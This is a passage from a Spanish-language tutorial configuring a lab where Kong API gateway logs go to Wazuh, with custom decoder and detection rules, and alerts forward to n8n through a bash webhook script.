      <span class="hljs-attr">test:</span> [<span class="hljs-string">"CMD"</span>, <span class="hljs-string">"pg_isready"</span>, <span class="hljs-string">"-U"</span>, <span class="hljs-string">"kong"</span>]
      <span class="hljs-attr">interval:</span> <span class="hljs-string">10s</span>
      <span class="hljs-attr">timeout:</span> <span class="hljs-string">5s</span>
      <span class="hljs-attr">retries:</span> <span class="hljs-number">5</span>

<span class="hljs-comment"># ============================================</span>
<span class="hljs-comment"># KONG MIGRATIONS</span>
<span class="hljs-comment"># ============================================</span>
  <span class="hljs-attr">kong-migrations:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">kong:3.5</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">kong-migrations</span>
    <span class="hljs-attr">command:</span> <span class="hljs-string">kong</span> <span class="hljs-string">migrations</span> <span class="hljs-string">bootstrap</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">poc-network</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">KONG_DATABASE:</span> <span class="hljs-string">postgres</span>
      <span class="hljs-attr">KONG_PG_HOST:</span> <span class="hljs-string">kong-database</span>
      <span class="hljs-attr">KONG_PG_USER:</span> <span class="hljs-string">kong</span>
      <span class="hljs-attr">KONG_PG_PASSWORD:</span> <span class="hljs-string">kongpass</span>
      <span class="hljs-attr">KONG_PG_DATABASE:</span> <span class="hljs-string">kong</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-attr">kong-database:</span>
        <span class="hljs-attr">condition:</span> <span class="hljs-string">service_healthy</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">on-failure</span>

<span class="hljs-comment"># ============================================</span>
<span class="hljs-comment"># KONG API GATEWAY</span>
<span class="hljs-comment"># ============================================</span>
  <span class="hljs-attr">kong:</span>
      <span class="hljs-attr">image:</span> <span class="hljs-string">kong:3.5</span>
      <span class="hljs-attr">container_name:</span> <span class="hljs-string">kong</span>
      <span class="hljs-attr">restart:</span> <span class="hljs-string">unless-stopped</span>
      <span class="hljs-attr">networks:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-string">poc-network</span>
      <span class="hljs-attr">environment:</span>
        <span class="hljs-attr">KONG_DATABASE:</span> <span class="hljs-string">postgres</span>
        <span class="hljs-attr">KONG_PG_HOST:</span> <span class="hljs-string">kong-database</span>
        <span class="hljs-attr">KONG_PG_USER:</span> <span class="hljs-string">kong</span>
        <span class="hljs-attr">KONG_PG_PASSWORD:</span> <span class="hljs-string">kongpass</span>
        <span class="hljs-attr">KONG_PG_DATABASE:</span> <span class="hljs-string">kong</span>
        <span class="hljs-attr">KONG_PROXY_ACCESS_LOG:</span> <span class="hljs-string">/dev/stdout</span>
        <span class="hljs-attr">KONG_ADMIN_ACCESS_LOG:</span> <span class="hljs-string">/dev/stdout</span>
        <span class="hljs-attr">KONG_PROXY_ERROR_LOG:</span> <span class="hljs-string">/dev/stderr</span>
        <span class="hljs-attr">KONG_ADMIN_ERROR_LOG:</span> <span class="hljs-string">/dev/stderr</span>
        <span class="hljs-attr">KONG_ADMIN_LISTEN:</span> <span class="hljs-number">0.0</span><span class="hljs-number">.0</span><span class="hljs-number">.0</span><span class="hljs-string">:8001</span>
        <span class="hljs-attr">KONG_ADMIN_GUI_LISTEN:</span> <span class="hljs-number">0.0</span><span class="hljs-number">.0</span><span class="hljs-number">.0</span><span class="hljs-string">:8002</span>
        <span class="hljs-attr">KONG_PROXY_LISTEN:</span> <span class="hljs-number">0.0</span><span class="hljs-number">.0</span><span class="hljs-number">.0</span><span class="hljs-string">:8000,</span> <span class="hljs-number">0.0</span><span class="hljs-number">.0</span><span class="hljs-number">.0</span><span class="hljs-string">:8443</span> <span class="hljs-string">ssl</span>
      <span class="hljs-attr">ports:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-string">"8000:8000"</span>
        <span class="hljs-bullet">-</span> <span class="hljs-string">"8443:8443"</span>
        <span class="hljs-bullet">-</span> <span class="hljs-string">"8001:8001"</span>
        <span class="hljs-bullet">-</span> <span class="hljs-string">"8002:8002"</span>
      <span class="hljs-attr">depends_on:</span>
        <span class="hljs-attr">kong-database:</span>
          <span class="hljs-attr">condition:</span> <span class="hljs-string">service_healthy</span>
        <span class="hljs-attr">kong-migrations:</span>
          <span class="hljs-attr">condition:</span> <span class="hljs-string">service_completed_successfully</span>
      <span class="hljs-attr">healthcheck:</span>
        <span class="hljs-attr">test:</span> [<span class="hljs-string">"CMD"</span>, <span class="hljs-string">"kong"</span>, <span class="hljs-string">"health"</span>]
        <span class="hljs-attr">interval:</span> <span class="hljs-string">10s</span>
        <span class="hljs-attr">timeout:</span> <span class="hljs-string">10s</span>
        <span class="hljs-attr">retries:</span> <span class="hljs-number">10</span>

<span class="hljs-comment"># ============================================</span>
<span class="hljs-comment"># KONGA DATABASE</span>
<span class="hljs-comment"># ============================================</span>
  <span class="hljs-attr">konga-database:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">postgres:9.6-alpine</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">konga-database</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">always</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">poc-network</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">POSTGRES_USER:</span> <span class="hljs-string">konga</span>
      <span class="hljs-attr">POSTGRES_DB:</span> <span class="hljs-string">konga</span>
      <span class="hljs-attr">POSTGRES_PASSWORD:</span> <span class="hljs-string">kongapass</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"5433:5432"</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">konga-database-data:/var/lib/postgresql/data</span>
    <span class="hljs-attr">healthcheck:</span>
      <span class="hljs-attr">test:</span> [<span class="hljs-string">"CMD"</span>, <span class="hljs-string">"pg_isready"</span>, <span class="hljs-string">"-U"</span>, <span class="hljs-string">"konga"</span>]
      <span class="hljs-attr">interval:</span> <span class="hljs-string">10s</span>
      <span class="hljs-attr">timeout:</span> <span class="hljs-string">5s</span>
      <span class="hljs-attr">retries:</span> <span class="hljs-number">5</span>

<span class="hljs-comment"># ============================================</span>
<span class="hljs-comment"># KONGA PREPARE</span>
<span class="hljs-comment"># ============================================</span>
  <span class="hljs-attr">konga-prepare:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">pantsel/konga:latest</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">konga-prepare</span>
    <span class="hljs-attr">command:</span> <span class="hljs-string">"-c prepare -a postgres -u postgresql://konga:kongapass@konga-database:5432/konga"</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">poc-network</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">DB_ADAPTER:</span> <span class="hljs-string">postgres</span>
      <span class="hljs-attr">DB_HOST:</span> <span class="hljs-string">konga-database</span>
      <span class="hljs-attr">DB_USER:</span> <span class="hljs-string">konga</span>
      <span class="hljs-attr">DB_PASSWORD:</span> <span class="hljs-string">kongapass</span>
      <span class="hljs-attr">DB_DATABASE:</span> <span class="hljs-string">konga</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-attr">konga-database:</span>
        <span class="hljs-attr">condition:</span> <span class="hljs-string">service_healthy</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">on-failure</span>

<span class="hljs-comment"># ============================================</span>
<span class="hljs-comment"># KONGA GUI</span>
<span class="hljs-comment"># ============================================</span>
  <span class="hljs-attr">konga:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">pantsel/konga:latest</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">konga</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">always</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">poc-network</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">DB_ADAPTER:</span> <span class="hljs-string">postgres</span>
      <span class="hljs-attr">DB_HOST:</span> <span class="hljs-string">konga-database</span>
      <span class="hljs-attr">DB_PORT:</span> <span class="hljs-number">5432</span>
      <span class="hljs-attr">DB_USER:</span> <span class="hljs-string">konga</span>
      <span class="hljs-attr">DB_PASSWORD:</span> <span class="hljs-string">kongapass</span>
      <span class="hljs-attr">DB_DATABASE:</span> <span class="hljs-string">konga</span>
      <span class="hljs-attr">NODE_ENV:</span> <span class="hljs-string">production</span>
      <span class="hljs-attr">KONGA_HOOK_TIMEOUT:</span> <span class="hljs-number">120000</span>
      <span class="hljs-attr">DB_PG_SCHEMA:</span> <span class="hljs-string">public</span>
      <span class="hljs-attr">TOKEN_SECRET:</span> <span class="hljs-string">change-this-secret-token</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"1337:1337"</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-attr">konga-database:</span>
        <span class="hljs-attr">condition:</span> <span class="hljs-string">service_healthy</span>
      <span class="hljs-attr">konga-prepare:</span>
        <span class="hljs-attr">condition:</span> <span class="hljs-string">service_completed_successfully</span>
      <span class="hljs-attr">kong:</span>
        <span class="hljs-attr">condition:</span> <span class="hljs-string">service_healthy</span>

<span class="hljs-comment"># ============================================</span>
<span class="hljs-comment"># BANKING API</span>
<span class="hljs-comment"># ============================================</span>
  <span class="hljs-attr">banking-api:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">safernandez666/banking-api</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">banking-api</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">always</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">poc-network</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"3000:3000"</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">banking-data:/app</span>

<span class="hljs-comment"># ============================================</span>
<span class="hljs-comment"># LOGSPOUT - LOG FORWARDER</span>
<span class="hljs-comment"># ============================================</span>
  <span class="hljs-attr">logspout:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">gliderlabs/logspout:latest</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">logspout</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">always</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">poc-network</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">/var/run/docker.sock:/var/run/docker.sock</span>
    <span class="hljs-attr">command:</span> <span class="hljs-string">syslog://wazuh.manager:514</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">SYSLOG_FORMAT=rfc3164</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">LOGSPOUT=ignore</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">FILTER_NAME=kong|banking-api</span>  <span class="hljs-comment"># ← AGREGAR: Solo Kong y Banking API</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">wazuh.manager</span>
<span class="hljs-comment"># ============================================</span>
<span class="hljs-comment"># N8N</span>
<span class="hljs-comment"># ============================================</span>
  <span class="hljs-attr">n8n:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">n8nio/n8n:latest</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">n8n</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">unless-stopped</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"5678:5678"</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">N8N_BASIC_AUTH_ACTIVE=true</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">N8N_BASIC_AUTH_USER=admin</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">N8N_BASIC_AUTH_PASSWORD=n8n_password</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">N8N_HOST=0.0.0.0</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">N8N_PORT=5678</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">N8N_PROTOCOL=http</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">WEBHOOK_URL=http://n8n:5678/</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">GENERIC_TIMEZONE=America/Argentina/Buenos_Aires</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">n8n_data:/home/node/.n8n</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">poc-network</span>
<span class="hljs-comment"># ============================================</span>
<span class="hljs-comment"># OLLAMA</span>
<span class="hljs-comment"># ============================================</span>
  <span class="hljs-attr">ollama:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">ollama/ollama:latest</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">ollama</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"11435:11434"</span> <span class="hljs-comment"># Expose Ollama's API port</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">ollama_data:/root/.ollama</span> <span class="hljs-comment"># Persistent storage for models and data</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">unless-stopped</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">poc-network</span>
<span class="hljs-comment"># ============================================</span>
<span class="hljs-comment"># NETWORKS</span>
<span class="hljs-comment"># ============================================</span>
<span class="hljs-attr">networks:</span>
  <span class="hljs-attr">poc-network:</span>
    <span class="hljs-attr">driver:</span> <span class="hljs-string">bridge</span>

<span class="hljs-comment"># ============================================</span>
<span class="hljs-comment"># VOLUMES</span>
<span class="hljs-comment"># ============================================</span>
<span class="hljs-attr">volumes:</span>
  <span class="hljs-attr">wazuh_api_configuration:</span>
  <span class="hljs-attr">wazuh_etc:</span> 
  <span class="hljs-attr">wazuh_logs:</span>
  <span class="hljs-attr">wazuh_queue:</span>
  <span class="hljs-attr">wazuh_var_multigroups:</span>
  <span class="hljs-attr">wazuh_integrations:</span>
  <span class="hljs-attr">wazuh_active_response:</span>
  <span class="hljs-attr">wazuh_agentless:</span>
  <span class="hljs-attr">wazuh_wodles:</span>
  <span class="hljs-attr">filebeat_etc:</span>
  <span class="hljs-attr">filebeat_var:</span>
  <span class="hljs-attr">wazuh-indexer-data:</span>
  <span class="hljs-attr">wazuh-dashboard-config:</span>
  <span class="hljs-attr">wazuh-dashboard-custom:</span>
  <span class="hljs-attr">kong-database-data:</span>
  <span class="hljs-attr">konga-database-data:</span>
  <span class="hljs-attr">banking-data:</span>
  <span class="hljs-attr">n8n_data:</span>
  <span class="hljs-attr">ollama_data:</span>
</code></pre>
<p>Importante edistar <code>./config/wazuh_cluster/wazuh_manager.conf,</code> para que lo tome Wazuh Manager como su <code>ossec.conf</code>. Le agregamos esto:</p>
<pre><code class="lang-xml">  <span class="hljs-comment">&lt;!-- ============================================ --&gt;</span>
  <span class="hljs-comment">&lt;!-- Configuración de receptor remoto (Syslog) --&gt;</span>
  <span class="hljs-comment">&lt;!-- ============================================ --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">remote</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">connection</span>&gt;</span>syslog<span class="hljs-tag">&lt;/<span class="hljs-name">connection</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">port</span>&gt;</span>514<span class="hljs-tag">&lt;/<span class="hljs-name">port</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">protocol</span>&gt;</span>udp<span class="hljs-tag">&lt;/<span class="hljs-name">protocol</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">allowed-ips</span>&gt;</span>any<span class="hljs-tag">&lt;/<span class="hljs-name">allowed-ips</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">remote</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- ============================================ --&gt;</span>
  <span class="hljs-comment">&lt;!-- INTEGRACIÓN CON N8N - WEBHOOKS PARA KONG --&gt;</span>
  <span class="hljs-comment">&lt;!-- ============================================ --&gt;</span>

  <span class="hljs-comment">&lt;!-- Webhook específico para ATAQUES (nivel 8+) --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">integration</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">name</span>&gt;</span>custom-n8n<span class="hljs-tag">&lt;/<span class="hljs-name">name</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">level</span>&gt;</span>8<span class="hljs-tag">&lt;/<span class="hljs-name">level</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>kong,attack<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">alert_format</span>&gt;</span>json<span class="hljs-tag">&lt;/<span class="hljs-name">alert_format</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">integration</span>&gt;</span>
</code></pre>
<p>También vamos agregar la integración <code>custom-n8n</code> en <code>./config/wazuh_cluster/</code>.</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>
<span class="hljs-comment"># Wazuh to n8n Integration</span>

N8N_WEBHOOK_URL=<span class="hljs-string">"http://n8n:5678/webhook/wazuh-kong-alerts"</span>
LOG_FILE=<span class="hljs-string">"/var/ossec/logs/integrations.log"</span>

<span class="hljs-comment"># Wazuh pasa el archivo de alerta como primer argumento</span>
ALERT_FILE=<span class="hljs-string">"<span class="hljs-variable">$1</span>"</span>

<span class="hljs-comment"># Timestamp</span>
TIMESTAMP=$(date -u +<span class="hljs-string">"%Y-%m-%dT%H:%M:%SZ"</span>)

<span class="hljs-comment"># Log</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"[<span class="hljs-variable">${TIMESTAMP}</span>] Processing alert from file: <span class="hljs-variable">${ALERT_FILE}</span>"</span> &gt;&gt; <span class="hljs-variable">${LOG_FILE}</span>

<span class="hljs-comment"># Leer el contenido del archivo</span>
<span class="hljs-keyword">if</span> [ -f <span class="hljs-string">"<span class="hljs-variable">${ALERT_FILE}</span>"</span> ]; <span class="hljs-keyword">then</span>
    ALERT_JSON=$(cat <span class="hljs-string">"<span class="hljs-variable">${ALERT_FILE}</span>"</span>)

    <span class="hljs-comment"># Enviar a n8n</span>
    HTTP_CODE=$(curl -X POST <span class="hljs-string">"<span class="hljs-variable">${N8N_WEBHOOK_URL}</span>"</span> \
      -H <span class="hljs-string">"Content-Type: application/json"</span> \
      -d <span class="hljs-string">"<span class="hljs-variable">${ALERT_JSON}</span>"</span> \
      -w <span class="hljs-string">"%{http_code}"</span> \
      -s \
      -o /dev/null \
      --connect-timeout 10 \
      --max-time 30)

    <span class="hljs-keyword">if</span> [ <span class="hljs-string">"<span class="hljs-variable">${HTTP_CODE}</span>"</span> == <span class="hljs-string">"200"</span> ] || [ <span class="hljs-string">"<span class="hljs-variable">${HTTP_CODE}</span>"</span> == <span class="hljs-string">"201"</span> ]; <span class="hljs-keyword">then</span>
        <span class="hljs-built_in">echo</span> <span class="hljs-string">"[<span class="hljs-variable">${TIMESTAMP}</span>] SUCCESS - HTTP <span class="hljs-variable">${HTTP_CODE}</span>"</span> &gt;&gt; <span class="hljs-variable">${LOG_FILE}</span>
        <span class="hljs-built_in">exit</span> 0
    <span class="hljs-keyword">else</span>
        <span class="hljs-built_in">echo</span> <span class="hljs-string">"[<span class="hljs-variable">${TIMESTAMP}</span>] FAILED - HTTP <span class="hljs-variable">${HTTP_CODE}</span>"</span> &gt;&gt; <span class="hljs-variable">${LOG_FILE}</span>
        <span class="hljs-built_in">exit</span> 1
    <span class="hljs-keyword">fi</span>
<span class="hljs-keyword">else</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"[<span class="hljs-variable">${TIMESTAMP}</span>] ERROR - Alert file not found: <span class="hljs-variable">${ALERT_FILE}</span>"</span> &gt;&gt; <span class="hljs-variable">${LOG_FILE}</span>
    <span class="hljs-built_in">exit</span> 1
<span class="hljs-keyword">fi</span>
</code></pre>
<blockquote>
<p>Es muy importante que a custom-n8n le hagan un chmod 555, para que pueda ser ejecutado por cualquiera. Esto en local, antes de levantar el contenedor.</p>
</blockquote>
<p>Agregamos el <strong>docoder</strong> y las <strong>regla</strong>, también en <code>/config/wazuh_cluster</code>. El <strong>decoder</strong> se llamara <code>0374-kong-decoder.xml</code> y las <strong>regla</strong> <code>kong-rules.xml</code>.</p>
<pre><code class="lang-xml"><span class="hljs-comment">&lt;!--
  -  Kong API Manager custom decoder
  -  Created for extracting srcip from Kong logs
  -  Author: Santiago Fernandez
  -  Date: October 2025
  -
  -  This decoder extracts:
  -    - srcip: Source IP address
  -    - protocol: HTTP method (GET, POST, etc.)
  -    - url: Requested URL
  -    - id: HTTP status code
--&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">decoder</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"kong-decoder"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">prematch</span>&gt;</span>^\S+ \S+ kong[\d+]:<span class="hljs-tag">&lt;/<span class="hljs-name">prematch</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">regex</span>&gt;</span>^\S+ \S+ kong[\d+]: (\S+) \S+ \S+ [\S+ \S+] "(\w+) (\S+) HTTP\S+" (\d+) \d+ \S+ \S+<span class="hljs-tag">&lt;/<span class="hljs-name">regex</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">order</span>&gt;</span>srcip, protocol, url, id<span class="hljs-tag">&lt;/<span class="hljs-name">order</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">decoder</span>&gt;</span>
</code></pre>
<pre><code class="lang-xml"><span class="hljs-comment">&lt;!--
  -  Kong API Gateway Rules
  -  Author: Santiago Fernandez
  -  Date: October 2025
  -  
  -  Rule ID Range: 100100 - 100199
--&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">group</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"kong,"</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- ============================================ --&gt;</span>
  <span class="hljs-comment">&lt;!-- REGLA BASE - Cualquier tráfico de Kong --&gt;</span>
  <span class="hljs-comment">&lt;!-- ============================================ --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100100"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"3"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">decoded_as</span>&gt;</span>kong-decoder<span class="hljs-tag">&lt;/<span class="hljs-name">decoded_as</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Kong: API Gateway traffic detected<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>kong,access<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- ============================================ --&gt;</span>
  <span class="hljs-comment">&lt;!-- REGLAS PARA BANKING API --&gt;</span>
  <span class="hljs-comment">&lt;!-- ============================================ --&gt;</span>

  <span class="hljs-comment">&lt;!-- Accesos exitosos (2xx) a banking --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100101"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"5"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100100<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">url</span>&gt;</span>/banking/<span class="hljs-tag">&lt;/<span class="hljs-name">url</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>^2\d\d$<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Kong: Successful access to banking API - $(protocol) $(url) - Status: $(id) from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>kong,banking,success<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Errores del cliente (4xx) en banking --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100102"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"7"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100100<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">url</span>&gt;</span>/banking/<span class="hljs-tag">&lt;/<span class="hljs-name">url</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>^4\d\d$<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Kong: Client error on banking API - $(protocol) $(url) - Status: $(id) from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>kong,banking,error,client_error<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Errores del servidor (5xx) en banking --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100103"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"10"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100100<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">url</span>&gt;</span>/banking/<span class="hljs-tag">&lt;/<span class="hljs-name">url</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>^5\d\d$<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Kong: Server error on banking API - $(protocol) $(url) - Status: $(id)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>kong,banking,critical,server_error<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- ============================================ --&gt;</span>
  <span class="hljs-comment">&lt;!-- REGLAS DE CORRELACIÓN - Detección de ataques --&gt;</span>
  <span class="hljs-comment">&lt;!-- ============================================ --&gt;</span>

  <span class="hljs-comment">&lt;!-- Múltiples errores 4xx desde la misma IP (posible escaneo) --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100104"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"8"</span> <span class="hljs-attr">frequency</span>=<span class="hljs-string">"5"</span> <span class="hljs-attr">timeframe</span>=<span class="hljs-string">"60"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_matched_sid</span>&gt;</span>100102<span class="hljs-tag">&lt;/<span class="hljs-name">if_matched_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">same_source_ip</span> /&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Kong: Multiple failed requests ($(id)) from $(srcip) to banking API - Possible scanning or brute force attempt<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>kong,banking,attack,multiple_errors,scanning<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Múltiples errores 5xx (problema en el servidor) --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100105"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"9"</span> <span class="hljs-attr">frequency</span>=<span class="hljs-string">"3"</span> <span class="hljs-attr">timeframe</span>=<span class="hljs-string">"120"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_matched_sid</span>&gt;</span>100103<span class="hljs-tag">&lt;/<span class="hljs-name">if_matched_sid</span>&gt;</span>
